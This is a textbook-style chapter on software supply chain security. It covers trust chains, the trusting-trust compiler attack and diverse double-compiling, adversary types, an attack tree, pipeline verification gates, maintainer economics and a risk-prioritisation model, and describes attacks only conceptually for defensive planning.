Because you cannot verify everything from first principles, verification systems are built to *bottom out* somewhere. That terminal point is a **root of trust**: a small, well-protected thing you decide to trust axiomatically, without deriving that trust from anything else. A root of trust is not magically trustworthy; it is trustworthy by *fiat and protection*. You choose it, you invest heavily in guarding it, and you accept that if it is compromised, so is everything that hangs off it. A hardware security module holding a signing key, the set of root CA certificates baked into your OS trust store, the TUF root role's keys (Book 5, Chapter 7), the Fulcio root in Sigstore (Book 5, Chapter 3) — all are roots of trust.

A **trust anchor** is the concrete, distributed representation of a root of trust: the actual public key or certificate you provision into a verifier so it can start checking. The distinction is subtle but worth keeping: the root of trust is the authority; the trust anchor is the artifact you ship to relying parties so they can recognize that authority. Getting the anchor to the verifier *securely and out of band* is the hard part — an anchor delivered over the same channel it is meant to protect anchors nothing.

A **trust chain** (or chain of trust) is the sequence of verifiable links from the root down to the artifact in front of you. Each link is a cryptographic statement — "this key vouches for that key," "this identity signed that digest" — and verification walks the chain from the artifact back up to a trust anchor it already holds. If every link checks out and terminates at an anchor, the artifact is trusted; if any link is broken or the chain does not reach an anchor, it is not.

```

flowchart TB
    ROOT["Root of trust  
offline root key / root CA  
protected by fiat"]
    ANCHOR["Trust anchor  
root cert / public key  
provisioned into verifier out of band"]
    INT["Intermediate authority  
signing CA / delegated role  
online, rotatable"]
    ID["Identity attestation  
this key belongs to this builder"]
    ART["Artifact + signature  
digest signed by the identity"]
    VERIFY["Verifier  
walks chain artifact -> anchor"]

    ROOT --> ANCHOR
    ANCHOR -.provisions.-> VERIFY
    ROOT --> INT --> ID --> ART
    ART --> VERIFY
    VERIFY -->|"chain reaches anchor?"| DECISION{"trust / reject"}

```

Two properties of chains matter for the rest of the series. First, **a chain is only as strong as its root and its weakest link** — a perfectly valid signature chained to an anchor you never verified out of band proves nothing, and an intermediate key silently stolen breaks everything below it. Second, **chains let you rotate and delegate without re-provisioning the anchor**: you keep the root offline and rarely used, delegate day-to-day signing to online intermediates, and revoke a compromised intermediate without touching the anchor in every verifier. This is the entire design logic behind PKI, TUF role delegation, and Sigstore's architecture, which we build properly in Book 5.

Three different things you can trust

Careless discussion of "trust" conflates three distinct objects, and most real-world failures come from trusting one when you needed another:

- **Trusting an identity** answers *who*. A code signature, a verified commit, an OIDC token — these bind an action to an actor. SolarWinds' signature was valid: the *identity* was genuinely SolarWinds. Identity trust was never violated. That is exactly why it did not help.

- **Trusting an artifact** answers *what*. A hash pinned in a lockfile, a subresource integrity digest — these bind you to specific bits, independent of who produced them. Hash pinning gives strong artifact trust and zero identity or process trust: you know you got *these exact bytes*, but not that the bytes are honest, only that they have not changed since you pinned them.
- **Trusting a process** answers *how*. Build provenance, in-toto attestations, SLSA levels — these assert that an artifact was produced by a particular process (hermetic build, no human tampering, from this source). Process trust is the one that closes the SolarWinds gap, because the failure there was neither a fake identity nor swapped bits *after* the build, but a dishonest *build process*.

The recurring supply chain mistake is substituting the cheap trust for the expensive one: treating a valid signature (identity) as if it proved build integrity (process). A signature proves *who* signed, never *that what they signed is honest*. Keep these three separated and a surprising amount of muddled security reasoning resolves itself. We will return to this triple constantly.

Reflections on trusting trust

In 1984, Ken Thompson used his Turing Award lecture, later published as "Reflections on Trusting Trust," to demonstrate the deepest problem in this whole domain. The argument is frequently mis-stated, so here it is precisely.

Thompson described a three-stage attack on a compiler. **Stage one:** you can add a backdoor to a program — say, `login` — by teaching its compiler to recognize when it is compiling `login` and to silently insert extra code (an accept-any-password path). The source of `login` stays clean; the malice lives in the compiler. **Stage two:** obviously someone reading the compiler's source would see the backdoor, so you push it down a level. You teach the compiler to recognize when it is compiling *itself* and to re-insert both the `login` backdoor and the self-recognition logic. **Stage three — the payoff:** you compile the compiler once with this malicious source to produce a poisoned binary, then *remove the malice from the compiler's source entirely*. Now the source of both `login` and the compiler is pristine. The poisoned compiler binary, when it compiles the clean compiler source, reproduces the backdoor in the new

binary — and reinserts the self-propagation. The backdoor survives with no trace in any source anyone can read. It has become a property of the binary toolchain, self-perpetuating across generations of clean source.

The implication is genuinely unsettling: **you cannot fully trust code you did not totally create yourself**. Auditing source is insufficient, because the tool that compiles the source can betray both the source and itself, invisibly. And the tools that built *that* tool could have done the same, ad infinitum, all the way down to the microcode and the silicon. There is no bedrock of self-evidently trustworthy tooling; verification does not terminate on its own. This is the strongest possible statement of why trust cannot be *eliminated* — at some point every verification chain rests on a tool or a person you did not, and cannot, fully verify.

For years this was treated as an unanswerable koan. It is not. David A. Wheeler's 2009 doctoral work, "Fully Countering Trusting Trust through Diverse Double-Compiling" (DDC), provides a practical rebuttal — not by achieving perfect trust, but by making the attack detectable under a realistic assumption. The idea: to check whether compiler binary *A* is honest, compile *A*'s own source using a second, *independent* compiler *B* (different codebase, ideally different author lineage) to get a first-stage result. Then use that result to recompile *A*'s source again. If *A* is honest, this diverse rebuild reproduces *A* bit-for-bit. If *A* carries a trusting-trust backdoor, *B* does not know the trigger, so the rebuilt compiler differs — the discrepancy exposes the implant. The attacker would now have to have subverted *both* independent compiler lineages *in the same way* to hide, which is a far higher bar. DDC does not eliminate trust; it *relocates* it onto the assumption that two independent toolchains are not identically backdoored, and makes any failure of that assumption *detectable*. That is the whole spirit of modern supply chain defense in one result, and it depends utterly on **reproducible builds** (Book 4, Chapter 2), because "reproduces bit-for-bit" is only a meaningful test if honest builds are bit-for-bit reproducible in the first place. We treat the mechanics fully in Book 7, Chapter 5.

Trust minimization, not trust elimination

Thompson's lecture and Wheeler's answer together give us the governing principle of the field:

You cannot eliminate trust. You can only **relocate** it and **reduce** it. The goal is *fewer* trust relationships, each *more accountable* and *more verifiable*.

Every good supply chain control is an instance of this. Pinning a hash does not eliminate trust in the package; it relocates trust from "whatever the registry serves tomorrow" to "the specific bytes I reviewed today." Reproducible builds do not eliminate trust in the build; they relocate it from "trust the build server" to "trust that independent rebuilders will notice if the server lies." Sigstore does not eliminate trust in signers; it relocates trust from "keep a private key secret forever" to "trust a transparency log that anyone can audit." In each case the count of trusted parties goes down, or the trust becomes *checkable after the fact*, or both. When you evaluate any control in the coming books, ask the two minimization questions: *does this reduce the number of parties I must trust?* and *does this make a betrayal detectable?* A control that does neither is theater.

Threat modeling for the supply chain

Threat modeling in application security has a well-worn recipe: identify assets, enumerate entry points and trust boundaries, apply a mnemonic like **STRIDE** to each, and derive controls. It is a good recipe for the thing it was designed for — a running system with requests crossing boundaries. It fits the supply chain awkwardly, and it is worth being precise about why, because the mismatch tells you what to use instead.

STRIDE — **S**poofing, **T**ampering, **R**epudiation, **I**nformation disclosure, **D**enial of service, **E**levation of privilege — is organized around a *data flow diagram* of a live system: threats are things that happen to data as it crosses a boundary at runtime. The supply chain is not primarily a runtime data flow; it is a *temporal pipeline of artifact transformations* — commit, build, package, publish, resolve, deploy — where the "attacker's request" might be a pull request submitted six months before the payload fires. STRIDE's categories still *apply* in a narrow sense (a malicious commit is Tampering; a stolen maintainer token is Spoofing; a backdoor that survives review is Elevation of privilege), but the categorization adds little, because in the supply chain almost every interesting attack is "Tampering with an artifact somewhere in the pipeline," and lumping them under one STRIDE letter throws away the distinction that matters

— *which stage* was tampered with and *what trust it inherited downstream*. STRIDE is still useful for modeling the *infrastructure* of the pipeline as running systems (the CI control plane, the registry API, the artifact store all have data flows worth STRIDE-ing), just not for modeling the flow of artifacts through it.

Two framings fit the supply chain natively. The first is the **SLSA threat model** (Book 1, Chapter 2 introduced its lettered threats A-H), which organizes threats by *chain stage* — source, build, dependency, distribution — precisely because the defining feature of a supply chain attack is *where in the pipeline* it lands and *what downstream trust that position inherits*. The second is **attack-tree thinking**, which starts from an attacker *goal* and decomposes it into the alternative paths to reach it. Attack trees are a better fit than STRIDE here because supply chain compromise is fundamentally a *goal with many substitutable paths* — the attacker does not care whether they get in via a typosquat, a stolen CI token, or a bribed maintainer, only that one path works and is cheap. A tree makes that substitutability explicit and forces you to defend the *cheapest* path, not your favorite one.

The actors, precisely

"Attacker" is not a threat model. Different adversaries have different capabilities, different motivations, and — critically — different favored stages of the chain, because they optimize different cost functions. Modeling them distinctly is what lets you predict *where* a given adversary will actually strike. The supply-chain-relevant actors:

- **External attacker (unauthenticated).** No access, no insider position. Must acquire access by exploiting a vulnerability, phishing a credential, or exploiting a resolution policy (dependency confusion, typosquatting). Motivation varies; the defining trait is *starting from outside*. Favors the consumption and distribution stages, where publishing a package or squatting a name needs no prior access.
- **Malicious maintainer.** A legitimate, authorized maintainer of an upstream component who turns hostile — voluntarily inserting a backdoor or protestware into code they are entitled to change. Defeats every control that assumes the maintainer is honest: review, branch protection, and commit signing all faithfully authorize the malicious change. Favors the source stage of *their own* project.

(event-stream's handoff and node-ipc are the archetypes; Book 1, Chapter 4.)

- **Compromised maintainer.** A legitimate maintainer whose *account* is taken over — stolen token, phished password, no MFA — so the attacker acts with the maintainer's authority without the maintainer's knowledge or consent. Same downstream effect as a malicious maintainer, different root cause and different fix (account security vs. governance). Favors source and distribution (publishing) stages.
- **Malicious insider.** An employee or contractor of *your* organization who abuses legitimate internal access — pushing to internal repos, touching the build farm, publishing to the internal registry. Motivations: money, coercion, grievance, or planted-agent intent. Favors whatever internal stage their role touches; disproportionately dangerous at the build and distribution stages because internal trust there is broad.
- **Compromised insider.** An internal account or workstation taken over by an external actor, who then operates from inside your trust boundary. Identical downstream access to a malicious insider; the two are worth separating because the *detection signal* differs (anomalous behavior vs. authorized-but-hostile behavior) and the *control* differs (endpoint and credential hygiene vs. separation of duties).
- **Nation-state.** Patient, well-resourced, willing to spend months and burn bespoke tooling for strategic access. Distinctive traits: long dwell time, operational discipline (SUNSPOT's benign trial run), and willingness to invest in the *hardest, highest-leverage* stage — build-system compromise — because the payoff (SolarWinds' ~18,000-org fan-out with ~100 selected for exploitation) justifies the cost. Favors the build stage and long-game maintainer infiltration (the xz operation's multi-year social engineering fits here).
- **Opportunistic criminal.** The economic inverse of the nation-state: optimizes for *scale at low effort*. Publishes hundreds of typosquats and confusion packages, sprays crypto-stealers and credential-harvesters, and moves on. Does not care *who* they hit, only *how many* cheaply. Favors the consumption stage almost exclusively — publishing malicious packages is the lowest-effort, highest-volume path in the entire chain.

- **Hacktivist.** Motivated by a cause rather than money or espionage. In the supply chain this manifests as **protestware**: a maintainer (usually acting as a malicious maintainer) sabotages their own widely-used package to make a political statement — wiping files based on geolocation, printing propaganda, degrading service. Favors the source stage of popular packages, and is uniquely *self-disclosing* (the point is to be noticed), which makes it loud but sometimes destructive before it is caught (node-ipc, 2022).

The single most important modeling insight from this list: **cost function predicts stage**. The opportunistic criminal minimizes effort and lands in consumption; the nation-state maximizes leverage and reaches for the build system; the disgruntled maintainer already holds source-stage authority and simply uses it. When you decide which stage to harden first, you are implicitly betting on which actor you most need to stop.

Actor-capability matrix

The matrix below maps each actor to its typical starting capability, primary motivation, favored chain stage, and the class of control that most raises its cost. Read it as a planning aid: find the row that matches your threat model and let the last column tell you where the marginal defensive dollar goes.

Actor	Starting capability	Motivation	Favored stage(s)	Highest-leverage control class
External attacker	None; must acquire access	Varies (money, access)	Consumption, distribution	Resolution policy, edge hardening, MFA
Malicious maintainer	Authorized source write	Ideology, money, spite	Source (own project)	Provenance, reproducibility, dependency vetting
Compromised maintainer	Stolen legit authority	(attacker's) money/ access	Source, distribution	Account security (MFA, tokens, signing)

Actor	Starting capability	Motivation	Favored stage(s)	Highest-leverage control class
Malicious insider	Legit internal access	Money, coercion, grievance	Build, distribution (internal)	Separation of duties, least privilege, audit
Compromised insider	Hijacked internal account	(attacker's) access	Whatever the role touches	Endpoint/credential hygiene, anomaly detection
Nation-state	Whatever they need to buy/build	Espionage, strategic access	Build, long-game maintainership	Build isolation, hermeticity, egress control, provenance
Opportunistic criminal	Ability to publish packages	Scale, low-effort profit	Consumption	Typosquat/confusion defenses, install-script sandboxing
Hacktivist	Usually authorized (maintainer)	Political statement	Source (popular pkgs)	Dependency pinning, update review, vetting

An attack tree for "run attacker code in production"

Attack trees decompose a single attacker goal into the alternative ways to achieve it. OR nodes are substitutable paths (any one suffices); the attacker picks the cheapest available one. The tree below targets a concrete, realistic objective — *execute attacker-controlled code in Company X's production environment* — and branches through the four chain stages. It is deliberately not exhaustive; it is meant to show the *shape* of the reasoning and to make the cheapest-path logic visible.

flowchart TB

GOAL["GOAL: run attacker code in Company X production"]

GOAL --> SRC["via SOURCE"]

GOAL --> DEP["via DEPENDENCY"]

GOAL --> BLD["via BUILD"]

GOAL --> DIST["via DEPLOY / DISTRIBUTION"]

SRC --> S1["compromise a developer account (phish, no MFA)"]

SRC --> S2["malicious insider pushes code"]

SRC --> S3["backdoor survives review (underhanded / obfuscated PR)"]

DEP --> D1["typosquat / combosquat an imported name"]

DEP --> D2["dependency confusion on an internal name"]

DEP --> D3["compromise an upstream maintainer account"]

DEP --> D4["social-engineer maintainership of a critical lib"]

BLD --> B1["steal a CI runner token / OIDC identity"]

BLD --> B2["poison a shared build cache"]

BLD --> B3["inject via a malicious build-time plugin/action"]

BLD --> B4["implant on the build host (SUNSPOT-style)"]

DIST --> P1["steal registry publish credentials"]

DIST --> P2["tamper artifact in transit / on a mirror"]

DIST --> P3["compromise the deploy pipeline / GitOps repo"]

S1 --> WIN["attacker code reaches prod runtime"]

S2 --> WIN

S3 --> WIN

D1 --> WIN

D2 --> WIN

D3 --> WIN

D4 --> WIN

B1 --> WIN

B2 --> WIN

B3 --> WIN

B4 --> WIN

P1 --> WIN

P2 --> WIN

P3 --> WIN

Two things fall out of the tree immediately. First, the defender must cover *every* leaf, because the attacker only needs one; this is the **weakest-link** property we quantify in the economics section. Second, the leaves are wildly unequal in cost. **D1** (publish a typosquat) costs the attacker minutes and no prior access; **B4** (implant on the build host) costs a nation-state months. A defender who has hardened the build farm to

nation-state standard but left resolver policy (D2) or MFA (S1 , D3) unaddressed has raised the *tallest* branch while leaving the *shortest* one untouched — and the attacker walks straight through the short one. The tree forces you to price the leaves and defend the cheapest, not the scariest.

Assume breach, defense in depth, and verification gates

No single control on that tree is perfect, and any one of them can fail. The correct posture is therefore **assume breach**: design as though some stage is already compromised, and ensure that a compromise at one stage is *caught or contained* by a control at another. In the supply chain, "defense in depth" takes a specific and powerful form — **verification points** (also called **control gates**) placed along the pipeline, each *independently* re-checking the integrity of the artifact as it flows toward production. The key word is independently: a gate is only worth having if it does not share a failure mode with the stage it is checking. A build server that signs its own output and then checks its own signature has added no depth; a *separate* admission controller that verifies build provenance against a policy the build server cannot edit has added a real gate.

The sequence below shows gates along a representative pipeline. Each gate can *reject* — halt the artifact's progress — and each checks a property the previous stage could not forge on its own.

```

sequenceDiagram
    participant Dev as Developer
    participant SCM as Source repo
    participant CI as Build platform
    participant Reg as Artifact registry
    participant Adm as Admission controller
    participant Prod as Production

    Dev->>SCM: push commit
    Note over SCM: GATE 1 - source
    signed commit? 2 reviewers?
    branch protection?
    SCM->>CI: trigger build (pinned ref)
    Note over CI: GATE 2 - dependencies
    lockfile hashes match?
    vuln + malware scan pass?
    CI->>CI: hermetic build, emit provenance
    CI->>Reg: push image + signature + attestation
    Note over Reg: GATE 3 - artifact
    signature valid? SBOM present?
    Reg->>Adm: deploy request (image digest)
    Note over Adm: GATE 4 - process
    provenance meets SLSA policy?
    built from trusted source + builder?
    Adm->>Prod: admit only if policy passes
    Note over Prod: GATE 5 - runtime
    drift detection, egress limits

```

Notice how the gates map onto the *three kinds of trust*: Gate 1 establishes **identity** and authorized change; Gates 2-3 establish **artifact** integrity (hashes, signatures); Gate 4 — the admission controller checking provenance against policy — is the **process** gate, the one that would have caught a SolarWinds-style dishonest build that sailed through the identity and artifact gates. A pipeline with only identity and artifact gates is the pre-2020 industry default, and it is exactly the configuration that trojanized-but-validly-signed builds defeat. The process gate is the expensive, load-bearing addition, and Books 4 and 5 exist largely to build it.

The economics of supply chain risk

Security is an economics problem wearing an engineering costume. Attackers have finite budgets and pick targets by return on effort; defenders have finite budgets and must buy down the most risk per

dollar. Two economic facts explain why supply chain attacks have surged, and a third tells defenders what to do about it.

The asymmetry that makes the chain attractive

The defining economic property of a supply chain attack is **fan-out**: one compromise yields many victims. Compromise a single popular npm package and every project that installs it is exploited on their next build — the attacker's cost is roughly constant while their reach scales with the package's popularity. This is economies of scale for the attacker, and it inverts the usual defender advantage. In a direct attack, the attacker pays per target; in a supply chain attack, they pay once and harvest thousands. SolarWinds is the extreme case: months of effort against *one* build system yielded access to ~18,000 organizations. The cost per victim approached zero.

The mirror image of fan-out is the **weakest-link** structure of defense. Recall the attack tree: the attacker needs *one* path, the defender must hold *all* of them. Formally, if the attacker's cost to breach the whole system is the *minimum* cost across paths while the defender must fund *every* path, then the rational attacker always attacks your cheapest unguarded link — and improving any link *other than* the current cheapest one buys you nothing until you have raised the floor. This is why upstream, softer targets get hit: an attacker targeting Company X does not attack Company X's hardened production edge; they attack the under-resourced open-source library three hops up X's dependency tree, because that link is cheaper and X trusts it transitively. The attacker moves to the softest point in *your* chain, which is frequently a point you do not own and did not choose.

Put the two together and the strategic picture is stark: attackers enjoy increasing returns (fan-out) while defenders face a weakest-link cost structure (fund everything). That asymmetry is not going to be engineered away; it is why the field exists. What defenders *can* do is raise the floor — make the cheapest link expensive enough that the attack stops paying — and that requires knowing where the cheap links are, which brings us to open source.

The economics of open-source maintenance

The cheapest links are very often unpaid. Enormous swaths of critical infrastructure rest on open-source components maintained by one or a

few volunteers, for free, in their spare time. xkcd 2347 captured it exactly: a towering edifice of "all modern digital infrastructure" balanced on a tiny block labeled "a project some random person in Nebraska has been thanklessly maintaining since 2003." It is a joke because it is true. Heartbleed (OpenSSL, 2014) and Log4Shell (Log4j, 2021) both traced to critical libraries maintained by underfunded, understaffed teams — a couple of volunteers carrying software that runs a meaningful fraction of the internet.

This is a **tragedy of the commons**. Everyone depends on the shared resource; no one is individually incentivized to fund its upkeep; the maintainer bears all the cost and captures almost none of the value. And it creates a specific, exploitable weakness that the **xz-utils** incident (Book 1, Chapter 5) made vivid. The mechanism there was not primarily technical — it was *economic and social*. `xz/liblzma` was maintained essentially by one overburdened volunteer (Lasse Collin) who, under real-life stress and visible burnout, was susceptible to an offer of help. An attacker operating the "Jia Tan" persona spent roughly two years building trust, contributing legitimately, and — with the help of sockpuppet accounts applying pressure on the maintainer to hand off responsibility — was granted co-maintainer authority, which was then used to plant a backdoor targeting `sshd`. The vulnerability the attacker exploited was *maintainer burnout*. No amount of signing or scanning addresses "the sole maintainer is exhausted and lonely and someone friendly offered to help." The fix is economic: pay maintainers, fund redundancy, reduce the bus-factor-of-one.

Several initiatives target exactly this, and it is worth describing them accurately:

- **OpenSSF** (Open Source Security Foundation), a Linux Foundation project, is the umbrella under which much of this work sits — home to Scorecard, Sigstore, SLSA, the Best Practices Badge, and working groups on securing critical projects.
- **Alpha-Omega**, an OpenSSF-associated project funded by industry (Microsoft, Google, Amazon among the backers), takes a two-pronged approach: "Alpha" works directly with a small set of the most critical projects to improve their security posture, while "Omega" applies automated analysis at scale across the long tail of thousands of projects.

- The **Sovereign Tech Fund / Sovereign Tech Agency**, funded by the German government, invests directly in the maintenance and security of open-source infrastructure "in the public interest" — paying for the unglamorous upkeep that no single company will fund alone.

These are correct responses because they attack the actual weakest link — the economics of maintenance — rather than adding another gate downstream. A defender who runs an internal program should understand this: some of your highest-leverage risk reduction may be *funding a maintainer* or contributing engineering time upstream, not buying another scanner. Book 1, Chapter 8 develops the sustainability angle in depth.

Cost-benefit for defenders: the marginal-return curve

Because the defender's budget is finite and the weakest-link structure means you must eventually cover everything, the question is *ordering*: what do you buy first? The answer comes from the **marginal return** of each control — the risk reduced per unit of cost — and these vary by more than an order of magnitude. Some controls are cheap and enormously valuable; others are expensive and, for most organizations, marginal. Placing them on a cost/value grid is the single most useful budgeting exercise in the field.

```
quadrantChart
  title Control cost vs. value
  x-axis "Low cost" --> "High cost"
  y-axis "Low value" --> "High value"
  quadrant-1 "Do carefully (high cost, high value)"
  quadrant-2 "Do first (cheap wins)"
  quadrant-3 "Deprioritize"
  quadrant-4 "Question hard"
  "Enforce MFA on maintainers/CI": [0.12, 0.9]
  "Lockfiles + pinned hashes": [0.15, 0.85]
  "Namespace reservation (anti-confusion)": [0.18, 0.8]
  "Dependency + malware scanning": [0.3, 0.72]
  "Signed commits + branch protection": [0.32, 0.65]
  "Build provenance / SLSA L2-3": [0.6, 0.82]
  "Admission control on provenance": [0.62, 0.78]
  "Fully reproducible builds": [0.85, 0.6]
  "Formal verification of components": [0.95, 0.35]
```

The pattern is consistent and worth internalizing:

- **Cheap, high value (do first).** MFA on maintainer and CI accounts closes the compromised- maintainer and stolen-token leaves for near-zero cost. Lockfiles with pinned hashes convert fragile "whatever the registry serves" trust into strong artifact trust with a config change. Namespace reservation on public registries deterministically kills dependency confusion for the price of registering some names. These are the floor-raisers; skipping them while buying anything fancier is malpractice.
- **Expensive, high value (do carefully, later).** Build provenance and SLSA Build L2-L3, plus the admission control that enforces it, close the SolarWinds *process* gap — genuinely high value, but they require real platform engineering. Buy them once the cheap floor is in.
- **Expensive, lower marginal value for most (question hard).** Fully reproducible builds are the gold standard and the prerequisite for diverse double-compilation — but achieving bit-for-bit reproducibility across a large polyglot fleet is a multi-quarter effort with steeply diminishing returns for most organizations relative to provenance. Formal verification of components is superb where it applies (a crypto primitive, a hypervisor boundary) and almost never cost-justified across an application dependency tree. Neither is *wrong*; both are *expensive enough that you must justify them against the marginal alternative*, and for most teams that alternative — closing another cheap leaf — wins.

The trap the curve exposes is the **prestige control**: buying the sophisticated, conference- talk-worthy control (reproducible builds, formal methods) while a cheap high-value one (MFA, namespace reservation) sits undone. The attacker attacks the cheapest link; a defense budget must therefore be spent cheapest-valuable-first, however unglamorous.

A usable risk-prioritization model

To order work you need to *score* risk, and the classic formulation — **risk = likelihood × impact** — is correct but too coarse to act on directly in this domain. A more usable decomposition for supply chain links, one you can compute on a whiteboard, is:

$$\text{Risk}(\text{link}) \approx \text{Criticality}(\text{asset}) \times \text{Exposure}(\text{chain link}) \times \text{Exploitability}(\text{link})$$

- **Criticality** is *impact if this asset is compromised* — how much you lose if code running through this link turns hostile. A library in your payments service scores high; one in an internal dashboard scores low. This is the "what does betrayal cost" clause from our trust definition, made numeric.
- **Exposure** is *how reachable the link is to an attacker and how broadly it fans out* — a direct dependency of every service scores higher than a transitive dependency of one; a package pulled from a public registry with no pinning scores higher than one vendored and hash-pinned. This is likelihood-of-reach.
- **Exploitability** is *how cheaply an attacker can actually subvert this link given its current controls* — an upstream with a sole burned-out maintainer and no MFA scores high; a well-funded project with signed releases, provenance, and multiple maintainers scores low. This is likelihood-of-success, and it is where controls move the number: adding MFA or provenance drops exploitability without touching criticality or exposure.

Multiply, rank descending, and work the top of the list. The model is deliberately crude — the numbers are ordinal estimates, not measurements — but it does the one thing you need: it forces the cheapest-link logic into your prioritization by *rewarding controls that reduce exploitability on high-criticality, high-exposure links*, which is exactly where the attacker will go. A dependency that is critical (payments), exposed (direct, unpinned, fleet-wide), and exploitable (single volunteer maintainer, no MFA) is your xz waiting to happen, and this model surfaces it to the top where it belongs. Book 2, Chapter 7 (Reachability and Prioritization) turns the "exposure" term into something measurable with call-graph reachability; Book 2, Chapter 10 (Evaluating Dependencies) turns "exploitability" into scored signals (Scorecard, maintainer count, release hygiene). This chapter's model is the mental scaffold those later, sharper tools hang on.

Distributed-systems lens

Everything above sharpens in a large distributed backend, because the two quantities that drive supply chain risk — the number of trust relationships and the number of chain links — grow with the number of services and teams, and they grow *faster than linearly*.

Trust boundaries multiply with service and team count. A monolith maintained by one team has one build, one dependency tree, one deploy path — a handful of trust relationships. Split it into 300 microservices owned by 40 teams and you now have (in the worst case) 300 dependency trees, 300 build configurations, 300 deploy paths, and 40 sets of humans with publish rights, each a trust boundary an attacker can probe. The transitive-trust fan-out from earlier compounds this: each of the 300 services independently drags in hundreds of transitive dependencies, and the *union* of all trusted upstreams across the fleet is enormous and mostly unaudited. The number of leaves on the fleet-wide attack tree is roughly (services $\times$ links per service), and the weakest-link property means the attacker attacks the single softest leaf across all of them. Scale is, in pure supply chain terms, an expansion of attack surface that no individual team can see in full.

The paved road concentrates and amortizes trust decisions. The response that actually works at scale is the **platform / paved-road** model: a central platform team builds the secure path — a golden CI template with pinned actions and hermetic builds, a base-image set that is scanned and signed, an internal registry that enforces provenance, resolver configuration that cannot be confused — and makes *that path the easiest one to take*. The insight is economic: instead of 40 teams each making 40 mediocre, independently-wrong trust decisions, the platform team makes the decision *once*, well, and amortizes it across the fleet. A single upgrade to the paved road (say, adding admission control on provenance) raises the security of all 300 services at once. This is the fleet-scale version of trust minimization: fewer, more-accountable trust decisions, made by the party best positioned to make them well. The governing design principle is **make the secure path the easy path** — because if the secure path is harder than the insecure one, teams under delivery pressure will route around it, and you will have bought a control nobody uses.

Centralized policy vs. team autonomy is the standing tension. The paved road only works if teams actually stay on it, which pushes toward *mandatory* central policy — enforced admission control, no exceptions, no direct-to-registry pushes. But hard central mandates collide with team autonomy, velocity, and the genuine reality that some teams have legitimate needs the paved road does not serve. The workable resolution is almost always **paved road by default, deviation by exception with accountability**: the secure path is the frictionless default that covers 95% of cases, deviations are *possible* but require an explicit, logged, reviewed exception, and the exception carries the risk-ownership back to the team that requested it. This preserves autonomy for the genuine edge case while ensuring the default is safe and every deviation is visible. The failure modes are symmetric: too rigid and teams shadow-IT around you, re-fragmenting trust; too loose and the paved road is a suggestion nobody follows and you have central cost with distributed risk.

The internal registry/proxy is the trust chokepoint — for better and worse. At scale, almost every organization funnels dependency acquisition through an internal registry or pull-through proxy (Artifactory, Nexus, an internal PyPI/npm mirror). This is a natural and powerful *control gate*: it is the one place every build's dependencies flow through, so it is the ideal spot to enforce scanning, block known-malicious packages, quarantine new releases, reserve namespaces against confusion, and pin what the fleet may consume — fleet-wide coverage from one control. But concentration cuts both ways: the same chokepoint is now a single high-value target. Compromise the internal registry and you have compromised the dependency supply of every service that trusts it — the distribution-stage attack, aimed at *your own* infrastructure. So the chokepoint must be treated as tier-0 infrastructure, hardened and monitored to the standard of the build farm, precisely because so much trust has been deliberately concentrated there. Book 2, Chapter 8 (Vendoring, Mirroring, and Internal Registries) and Book 6, Chapter 2 (Registries) build this out; the risk-modeling point for now is that concentrating trust into a chokepoint is *correct* — trust minimization made operational — but it relocates rather than removes the risk, and the new location must be defended accordingly.

Key takeaways

- **Trust is accepting inputs you did not produce and cannot fully verify, where your integrity depends on theirs.** It is transitive (trusting A means trusting everything A trusts, invisibly) and cannot be eliminated — only relocated and reduced. Every good control makes trust *smaller, more accountable, or checkable after the fact*.
- **Separate the three trusts: identity (who), artifact (what), process (how).** The endemic mistake is treating a valid signature (identity) as proof of build integrity (process). A signature proves who signed, never that what they signed is honest — the SolarWinds gap.
- **A root of trust is trusted by fiat and protection; a trust anchor is its provisioned representation; a trust chain is verifiable links from artifact to anchor.** A chain is only as strong as its root, its anchor's out-of-band delivery, and its weakest link.
- **Trusting-trust (Thompson, 1984) proves you cannot fully verify code you did not create; diverse double-compilation (Wheeler, 2009) is the practical rebuttal** — it relocates trust onto "two independent toolchains are not identically backdoored" and makes betrayal *detectable*, given reproducible builds.
- **Model actors distinctly, because cost function predicts stage.** Opportunistic criminals minimize effort and land in consumption (typosquats); nation-states maximize leverage and reach for the build system; malicious maintainers already hold source authority. Which stage you harden first is a bet on which actor you most need to stop.
- **Use SLSA-style stage framing and attack trees, not STRIDE, for the artifact pipeline.** Attack trees make the weakest-link structure explicit: the attacker needs one path, you must hold all of them, and the leaves differ in cost by orders of magnitude — defend the cheapest, not the scariest.
- **Assume breach; place independent verification gates along the pipeline.** Gates map to the three trusts; the *process* gate (provenance checked by an admission controller the build server cannot edit) is the expensive, load-bearing one that catches dishonest builds.
- **The economics are attacker-favorable: fan-out gives attackers increasing returns while defenders face a weakest-link cost**

structure. Attackers move to the softest upstream link, which is frequently an unpaid, single-maintainer open-source project (the xz lesson). Funding maintainers (OpenSSF, Alpha-Omega, Sovereign Tech Fund) attacks the actual weakest link.

- **Spend cheapest-valuable-first.** MFA, lockfiles/pinned hashes, and namespace reservation are cheap and high-value; provenance and admission control are expensive and high-value; reproducible builds and formal verification are expensive with lower marginal value for most. Beware the prestige control bought while a cheap high-value one sits undone.
- **Prioritize with Criticality × Exposure × Exploitability.** Controls move the *exploitability* term; the highest-scoring links (critical, exposed, easily subverted) are your next incident and belong at the top of the list.
- **At scale, harden through the paved road and the registry chokepoint.** Concentrate trust decisions where they can be made once and well, make the secure path the easy path, allow deviation only by accountable exception — and treat the chokepoint you create as tier-0, because concentrating trust relocates the risk rather than removing it.

Further reading

- Ken Thompson, "Reflections on Trusting Trust," *Communications of the ACM* 27(8), August 1984 — the ACM Turing Award lecture; the original compiler-backdoor argument.
- David A. Wheeler, "Fully Countering Trusting Trust through Diverse Double-Compiling," Ph.D. dissertation, George Mason University, 2009 — the practical DDC rebuttal (deeper treatment in Book 7, Chapter 5).
- Bruce Schneier, "Attack Trees," *Dr. Dobbs's Journal*, December 1999 — the canonical introduction to attack-tree modeling.
- Adam Shostack, *Threat Modeling: Designing for Security* (Wiley, 2014) — STRIDE and the data-flow-diagram methodology this chapter contrasts against supply chain framing.
- SLSA (Supply-chain Levels for Software Artifacts), v1.0 — the specification and its threats-and-mitigations / terminology pages (slsa.dev), for the stage-oriented threat model.

- The xz-utils backdoor (CVE-2024-3094): Andres Freund's original disclosure to the oss-security mailing list (March 29, 2024) and subsequent community timelines — the maintainer-burnout economics discussed here (full case study in Book 1, Chapter 5).
- Randall Munroe, xkcd #2347, "Dependencies" (xkcd.com/2347) — the Nebraska-maintainer illustration of open-source fragility.
- OpenSSF (openssf.org), the Alpha-Omega project (alpha-omega.dev), and the Sovereign Tech Agency (sovereign.tech) — initiatives funding maintenance of critical open-source infrastructure.
